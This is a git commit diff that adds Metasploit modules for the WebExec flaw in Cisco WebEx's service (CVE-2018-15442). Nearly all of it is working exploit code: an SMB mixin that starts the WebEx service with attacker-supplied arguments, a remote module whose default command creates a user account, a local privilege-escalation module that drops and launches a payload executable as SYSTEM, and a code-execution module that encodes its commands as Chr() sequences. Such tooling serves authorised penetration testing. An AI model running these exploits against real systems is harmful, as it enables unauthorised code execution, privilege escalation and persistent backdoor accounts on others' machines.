added WebEx modules, arch check

GSoC/Meterpreter_Web_Console
Shelby Pace 2018-10-23 15:51:23 -05:00
parent c6cb6ce2f3
commit 34ae9c38f9
No known key found for this signature in database
GPG Key ID: B2F3A8B476406857
6 changed files with 601 additions and 5 deletions

View File

@ -31,10 +31,11 @@ require 'msf/core/exploit/dcerpc'
require 'msf/core/exploit/smb/client' require 'msf/core/exploit/smb/client'
require 'msf/core/exploit/smb/client/authenticated' require 'msf/core/exploit/smb/client/authenticated'
require 'msf/core/exploit/smb/client/local_paths' require 'msf/core/exploit/smb/client/local_paths'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/client/pipe_auditor' require 'msf/core/exploit/smb/client/pipe_auditor'
require 'msf/core/exploit/smb/client/psexec'
require 'msf/core/exploit/smb/client/psexec_ms17_010' require 'msf/core/exploit/smb/client/psexec_ms17_010'
require 'msf/core/exploit/smb/client/remote_paths' require 'msf/core/exploit/smb/client/remote_paths'
require 'msf/core/exploit/smb/client/webexec'
require 'msf/core/exploit/smb/server' require 'msf/core/exploit/smb/server'
require 'msf/core/exploit/smb/server/share' require 'msf/core/exploit/smb/server/share'
require 'msf/core/exploit/ftp' require 'msf/core/exploit/ftp'

View File

@ -0,0 +1,110 @@
# -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl'
require 'windows_error'
require 'windows_error/win32'
require 'msf/core/exploit/exe'
require 'msf/core/exploit/wbemexec'
include WindowsError::Win32
module Msf
####
# Makes use of a WebEx service vulnerability that works similarly to psexec.
#
# This code was stolen straight out of the psexec module which was stolen from
# the standalone Psexec tool. Thanks very much for all who contributed to that
# module!! Instead of uploading and running a binary.
####
module Exploit::Remote::SMB::Client::WebExec
include Msf::Exploit::Windows_Constants
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client::Authenticated
include Msf::Exploit::Failure
def initialize(info = {})
super
register_options(
[
OptString.new('SERVICE_NAME', [ false, 'The service name', 'WebExService']),
], self.class)
register_advanced_options(
[
], self.class)
end
def execute_single_command(command, opts)
command = command.split(/ /)
svc_status = opts[:svc_client].startservice(opts[:svc_handle], ["install", "software-update", "1", *command])
case svc_status
when ERROR_SUCCESS
# This happens a lot, so don't print it
# print_good("Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_good("Service start timed out")
else
print_error("Service failed to start, ERROR_CODE: #{svc_status}")
end
end
# Executes a single windows command.
#
# If you want to retrieve the output of your command you'll have to
# echo it to a .txt file and then use the {#smb_read_file} method to
# retrieve it. Make sure to remove the files manually or use
# {Exploit::FileDropper#register_files_for_cleanup} to have the
# {Exploit::FileDropper#cleanup} and
# {Exploit::FileDropper#on_new_session} handlers do it for you.
#
# @param command [String] Should be a valid windows command
# @param disconnect [Boolean] Disconnect afterwards
# @return [Boolean] Whether everything went well
def wexec(disconnect=true)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("Bound to #{handle} ...")
vprint_status("Obtaining a service manager handle...")
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
# This is the only permission non-admin gets on Windows 7 (and likely others)
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'], 0x00001)
if scm_status == ERROR_ACCESS_DENIED
print_error("ERROR_ACCESS_DENIED opening the Service Manager")
end
return false unless scm_handle
# These are the best permissions I could use for a non-admin account on Windows 7
svc_handle = svc_client.openservicew(scm_handle, datastore['SERVICE_NAME'], 0x00010)
if svc_handle.nil?
print_error("No service handle retrieved")
return false
end
vprint_status("Starting the service...")
begin
yield({ :svc_client => svc_client, :svc_handle => svc_handle })
ensure
vprint_status("Closing service handle...")
svc_client.closehandle(svc_handle)
end
if disconnect
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
end
true
end
end
end

View File

@ -208,13 +208,41 @@ class Client
# it. Returns true on success, or false. # it. Returns true on success, or false.
# #
# @param svc_handle [String] the handle of the service (from {#openservicew}). # @param svc_handle [String] the handle of the service (from {#openservicew}).
# @param magic1 [Integer] an unknown value. # @param args [Array] an array of arguments to pass to the service (or nil)
# @param magic2 [Integer] another unknown value.
# #
# @return [Integer] Windows error code # @return [Integer] Windows error code
def startservice(svc_handle, magic1 = 0, magic2 = 0) def startservice(svc_handle, args=[])
svc_status = nil svc_status = nil
stubdata = svc_handle + NDR.long(magic1) + NDR.long(magic2)
if args.empty?
stubdata = svc_handle + NDR.long(0) + NDR.long(0)
else
# This is just an arbitrary "pointer" value, gonna match it to what the real version uses
id_value = 0x00000200
stubdata = svc_handle
stubdata += NDR.long(args.length) + NDR.long(id_value) + NDR.long(args.length)
# Encode an id value for each parameter
args.each do
id_value += 0x04000000
stubdata += NDR.long(id_value)
end
# Encode the values now
args.each do |arg|
# We can't use NDR.uwstring here, because we need the "id" values to come first
stubdata += NDR.long(arg.length + 1) + NDR.long(0) + NDR.long(arg.length + 1)
# Unicode string
stubdata += Rex::Text.to_unicode(arg + "\0")
# Padding
if((arg.length % 2) == 0)
stubdata += Rex::Text.to_unicode("\0")
end
end
end
begin begin
response = dcerpc_client.call(0x13, stubdata) response = dcerpc_client.call(0x13, stubdata)

View File

@ -0,0 +1,70 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SMB::Client::WebExec
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize(info = {})
super(update_info(info,
'Name' => 'WebEx Remote Command Execution Utility',
'Description' => %q{
TODO
},
'Author' => [
'Ron Bowes <ron@skullsecurity.net>',
],
'License' => MSF_LICENSE,
'References' => [
# TODO
]
))
register_options([
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net user testuser testpass /add']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptString.new('FORCE_GUI', [true, 'Ensure a GUI is created via wmic', 'false']),
])
register_advanced_options([
])
end
# This is the main controle method
def run_host(ip)
@smbshare = datastore['SMBSHARE']
@ip = ip
# Try and authenticate with given credentials
if connect
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error => autherror
print_error("Unable to authenticate with given credentials: #{autherror}")
return
end
command = datastore['COMMAND']
if(datastore['FORCE_GUI'] == "true")
command = "WMIC PROCESS CALL Create \"#{command}\""
end
wexec(true) do |opts|
execute_single_command(command, opts)
end
print_good("Command completed!")
disconnect
end
end
end

View File

@ -0,0 +1,201 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info={})
super( update_info( info,
'Name' => 'WebEx local service permissions exploit',
'Description' => %q{
This module exploits a a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations.
},
'References' =>
[
['URL', 'https://webexec.org']
],
'DisclosureDate' => "Oct 09 2018",
'License' => MSF_LICENSE,
'Author' =>
[
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
],
'Platform' => [ 'win'],
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0
))
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
])
@service_name = 'webexservice'
end
def validate_arch
return target unless target.name == 'Automatic'
case sysinfo['Architecture']
when 'x86'
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
vprint_status('Detected x86 system')
return targets[1]
when 'x64'
vprint_status('Detected x64 system')
return targets[2]
end
end
def check_service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info[:display].empty?
vprint_warning("Service #{service} does not exist.")
return false
else
return true
end
end
def check
if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s)
case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
vprint_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def exploit
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !check_service_exists?(@service_name)
fail_with(Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
# Use manually selected Dir
file_path = datastore['DIR']
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
service_information = service_info(@service_name)
# Check architecture
valid_arch = validate_arch
exe = generate_payload_exe(:arch => valid_arch.arch)
#
# Drop the malicious executable into the path
#
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
begin
write_file(@exe_file_path, exe)
register_file_for_cleanup(@exe_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Failure::Unknown, e.message)
end
#
# Run the service
#
print_status("Launching service...")
res = cmd_exec("cmd.exe",
"/c sc start webexservice install software-update 1 #{@exe_file_path}")
if service_restart(@service_name)
print_status("Service started...")
else
service_information = service_info(@service_name)
if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
break if session_created?
select(nil,nil,nil,1)
end
else
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
else
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end
end

View File

@ -0,0 +1,186 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
# Local Security Settings >
# Local Policies >
# Security Options >
# Network Access: Sharing and security model for local accounts
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SMB::Client::WebExec
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'WebExec Authenticated User Code Execution',
'Description' => %q{
This module uses a valid username and password of any level (or
password hash) to execute an arbitrary payload. This module is similar
to the "psexec" module, except allows any non-guest account by default.
},
'Author' =>
[
'Ron <ron@skullsecurity.net>',
],
'License' => MSF_LICENSE,
'Privileged' => true,
'DefaultOptions' =>
{
'WfsDelay' => 10,
'EXITFUNC' => 'thread'
},
'References' =>
[
[ 'CVE', '2018-15442' ],
],
'Payload' =>
{
'Space' => 3072,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[ 'Automatic', { } ],
[ 'Native upload', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 24 2018'
))
register_options(
[
# This has to be a full path, %ENV% variables are not expanded
OptString.new('TMPDIR', [ true, "The directory to stage our payload in", "c:\\Windows\\Temp\\" ])
])
register_advanced_options(
[
OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
OptInt.new('MAX_LINE_LENGTH', [true, "The length of lines when splitting up the payload", 1000]),
])
end
# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
# Replace quoted strings with Chr(XX) versions, in a naive way
command = command.gsub(/"[^"]*"/) do |capture|
capture.gsub(/"/, "").chars.map do |c|
"Chr(#{c.ord})"
end.join('+')
end
# Prepend "cmd /c" so we can use a redirect
command = "cmd /c " + command
execute_single_command(command, opts)
end
def exploit
print_status("Connecting to the server...")
connect(versions: [2,1])
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
smb_login
if not simple.client.auth_user and not datastore['ALLOW_GUEST']
print_line(" ")
print_error(
"FAILED! The remote host has only provided us with Guest privileges. " +
"Please make sure that the correct username and password have been provided. " +
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
"to network logins by default."
)
print_line(" ")
disconnect
return
end
begin
if datastore['SMBUser'].to_s.strip.length > 0
report_auth
end
# Avoid implementing NTLMSSP on Windows XP
# http://seclists.org/metasploit/2009/q1/6
if smb_peer_os == "Windows 5.1"
connect(versions: [1])
smb_login
end
wexec(true) do |opts|
opts[:flavor] = :vbs
opts[:linemax] = datastore['MAX_LINE_LENGTH']
opts[:temp] = datastore['TMPDIR']
opts[:delay] = 0.05
execute_cmdstager(opts)
end
handler
disconnect
end
end
def report_auth
service_data = {
address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
port: datastore['RPORT'],
service_name: 'smb',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_data: datastore['SMBPass'],
username: datastore['SMBUser'].downcase
}
if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: datastore['SMBDomain']
})
end
if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
credential_data.merge!({:private_type => :ntlm_hash})
else
credential_data.merge!({:private_type => :password})
end
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
access_level: 'Admin',
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
end
end